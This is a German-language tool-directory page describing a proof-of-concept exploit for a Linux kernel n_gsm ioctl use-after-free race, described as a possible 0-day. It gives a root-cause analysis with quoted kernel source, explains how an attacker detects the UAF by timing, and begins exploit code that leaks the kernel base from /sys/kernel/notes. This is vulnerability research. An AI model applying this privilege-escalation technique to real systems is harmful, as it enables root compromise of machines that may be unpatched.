Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
n_gsm_exploit — Linux-Kernel-n_gsm-TTY-ioctl-Use-after-Free-Exploit-PoC: Race-Condition-Analyse, Kernel-Base-Leak, Heap-Spray, RIP-Hijack, beliebiges Schreiben und modprobe_path-Privilegieneskalation. | Kitploit
Tools/GitHubGitHub/gmh5225/n_gsm_exploit
Privilege EscalationSpeicherforensikSchwachstellenanalyseExploitationBinary-Exploitation
GitHubgmh5225/n_gsm_exploit

n_gsm_exploit

Linux-Kernel-n_gsm-TTY-ioctl-Use-after-Free-Exploit-PoC: Race-Condition-Analyse, Kernel-Base-Leak, Heap-Spray, RIP-Hijack, beliebiges Schreiben und modprobe_path-Privilegieneskalation.

Repository anzeigen
1vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dies scheint immer noch ein 0-Day zu sein. Ich hatte nicht die Absicht, diesen Exploit vor dem Patchen der Schwachstelle zu veröffentlichen, aber ein 0-Day-Exploit wurde von einem anderen Forscher veröffentlicht, der dieselbe Schwachstelle gefunden hat, daher habe ich meinen Code ebenfalls veröffentlicht. Bitte verwenden Sie dies nur zu Forschungszwecken.

RCA

  • Das TTY des Linux-Kernels unterstützt das GSM-07.10-Multiplexing-Protokoll.
    • https://docs.kernel.org/driver-api/tty/n_gsm.html
    • https://github.com/torvalds/linux/blob/master/drivers/tty/n_gsm.c
  • Wenn ein ioctl für GSM angefordert wird, werden im Kernel die folgenden Funktionen ausgeführt:

[1] GSMIOC_SETCONF: Setzt die Konfiguration von GSM zurück.

[2] GSMIOC_GETCONF_DLCI: Ruft die mit GSM verbundene DLCI-Konfiguration ab.

[3] GSMIOC_SETCONF_DLCI: Ändert die mit GSM verbundene DLCI-Konfiguration.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF:
		if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
			return -EFAULT;
		return gsm_config(gsm, &c);//[1]
....
	case GSMIOC_GETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		gsm_dlci_copy_config_values(dlci, &dc);//[2]
		if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
	default:
		return n_tty_ioctl_helper(tty, cmd, arg);
	}
}
  • Betrachten wir zunächst GSMIOC_SETCONF, das die Konfiguration von GSM ändert.

  • [1] Wenn die aktuelle Konfiguration von GSM von der neuen Konfiguration abweicht, wird need_restart auf true gesetzt.

    [2] Wenn need_restart true ist, wird das aktuelle GSM über gsm_cleanup_mux beendet.

static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
	int need_close = 0;
	int need_restart = 0;

...
	if (c->mtu != gsm->mtu)//[1]
		need_restart = 1;

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration. On the first time there is no DLCI[0]
	 * and closing or cleaning up is not necessary.
	 */
	if (need_close || need_restart)
		gsm_cleanup_mux(gsm, true);//[2]

...
	return 0;
}

[1] Alle DLCIs im Besitz von GSM werden über gsm_dlci_release freigegeben.

static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
	int i;
	struct gsm_dlci *dlci;
	struct gsm_msg *txq, *ntxq;

	gsm->dead = true;
	mutex_lock(&gsm->mutex);

...
	for (i = NUM_DLCI - 1; i >= 0; i--)
		if (gsm->dlci[i]){
			gsm_dlci_release(gsm->dlci[i]);//[1]
		}

...
}
  • Anschließend werden die Funktionen in der folgenden Reihenfolge aufgerufen:

    • gsm_dlci_release → dlci_put → gsm_dlci_free

    [1] NULL wird gsm->dlci[addr] zugewiesen, um Use-After-Free (UAF) zu verhindern.

    [2] Danach wird gsm->dlci[addr] mit kfree freigegeben.

static void gsm_dlci_free(struct tty_port *port)
{
	struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);

	timer_shutdown_sync(&dlci->t1);
	dlci->gsm->dlci[dlci->addr] = NULL;//[1]
	kfifo_free(&dlci->fifo);
	while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
		dev_kfree_skb(dlci->skb);
	kfree(dlci);//[2]

}

GSMIOC_SETCONF_DLCI

  • Betrachten wir GSMIOC_SETCONF_DLCI, das die Konfigurationswerte eines DLCI ändert, der GSM gehört.

  • [1] Liest die DLCI-Konfiguration, einschließlich der Adresse (addr), vom Benutzer.

    [2] Referenziert gsm->dlci[addr].

    [3] Ruft gsm_dlci_config auf, um die Konfiguration des DLCI zu ändern.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];//[2]
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}

[1] Setzt need_open auf true basierend auf den vom Benutzer übergebenen Optionen.

[2] Wartet, bis dlci->state zu DLCI_CLOSED wird.

[3] Wenn nur gsm->initiator true ist, wird die Funktion gsm_dlci_begin_open aufgerufen, um den DLCI neu zu starten.

static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
	struct gsm_mux *gsm;
	bool need_restart = false;
	bool need_open = false;
	unsigned int i;

...
	if (dc->flags & GSM_FL_RESTART)
		need_restart = true;

	if ((open && gsm->wait_config) || need_restart)//[1]
		need_open = true;
	if (dlci->state == DLCI_WAITING_CONFIG) {
		need_restart = false;
		need_open = true;
	}

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
		if (signal_pending(current))
			return -EINTR;
	}
...
	if (need_open) {
		if (gsm->initiator)
			gsm_dlci_begin_open(dlci);//[3]
		else
			gsm_dlci_set_opening(dlci);
	}

	return 0;
}

Schwachstelle

[1] Greift ohne Sperre auf gsm->dlci zu.

[1] gsm_dlci_config greift auf dlci zu. Wenn gsm_cleanup_mux aufgrund von GSMIOC_SETCONF aufgerufen wurde, kann eine Race Condition zu einem Use-After-Free (UAF) führen.

  • Unter normalen Umständen wird die Bedingung innerhalb sehr kurzer Zeit erfüllt und wakeup wird aufgerufen.
  • Wenn ein UAF auftritt, geht der Vorgang in einen unendlichen Wartezustand über, es sei denn, von der Benutzerebene wird ein anderes IOCTL angefordert, um die wakeup-Routine aufzurufen.
  • Daher kann ein Angreifer feststellen, ob ein UAF ausgelöst wurde, indem er die Dauer bis zum Abschluss des IOCTL misst.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
		if (signal_pending(current))
			return -EINTR;
		}
	...
  • Während des Wartens in wait_event_interruptible wird GSM durch threadFunction2 neu gestartet.
    • Das von GSM referenzierte DLCI wird per kfree freigegeben, und das von wait_event_interruptible referenzierte DLCI wird ebenfalls per kfree freigegeben.
    • In einem solchen Szenario ist es, da der IOCTL lange zur Fertigstellung benötigt, aus dem Userspace leicht erkennbar, dass ein Use-After-Free (UAF) aufgetreten ist.

Kernel-Basis leaken

  • Die Adresse der hypercall_page des Kernels ist in /sys/kernel/notes geschrieben, die für normale Benutzer lesbar ist. Daher kann ein Angreifer diese Datei lesen, um die Kernel-Basis zu leaken.
unsigned long get_kernel_base(){
    const char *filePath = "/sys/kernel/notes";
    const char pattern[] = "Xen\\x00";
    FILE *file;
    uint8_t buffer[1024];
    size_t bytesRead;
    int found = 0;
Tool herunterladen